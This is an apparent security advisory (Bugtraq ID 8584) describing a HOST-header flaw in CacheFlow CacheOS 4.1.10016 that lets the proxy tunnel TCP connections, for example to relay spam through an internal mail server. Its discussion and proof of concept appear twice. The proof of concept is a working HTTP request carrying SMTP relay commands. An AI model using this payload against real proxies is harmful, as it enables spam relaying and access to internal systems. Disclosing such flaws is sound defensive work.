CacheFlow CacheOS HTTP HOST Proxy Vulnerability
BID:8584
Info
CacheFlow CacheOS HTTP HOST Proxy Vulnerability
| Bugtraq ID: | 8584 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 10 2003 12:00AM |
| Updated: | Sep 10 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Tim Kennedy <[email protected]>. |
| Vulnerable: |
CacheFlow CacheOS 4.1.10016 |
| Not Vulnerable: | |
Discussion
CacheFlow CacheOS HTTP HOST Proxy Vulnerability
Malicious HTTP HOST header field can be used on CacheOS to tunnel arbitrary TCP connections through a HTTP request.
It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.
This BID may be related to the issue described in BID 4143.
Malicious HTTP HOST header field can be used on CacheOS to tunnel arbitrary TCP connections through a HTTP request.
It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.
This BID may be related to the issue described in BID 4143.
Exploit / POC
CacheFlow CacheOS HTTP HOST Proxy Vulnerability
The following proof of concept has been supplied:
GET / HTTP/1.1
HOST: mailserver.example.com:25
HELO .
mail from: [email protected]
rcpt to: [email protected]
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer
.
The following proof of concept has been supplied:
GET / HTTP/1.1
HOST: mailserver.example.com:25
HELO .
mail from: [email protected]
rcpt to: [email protected]
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer
.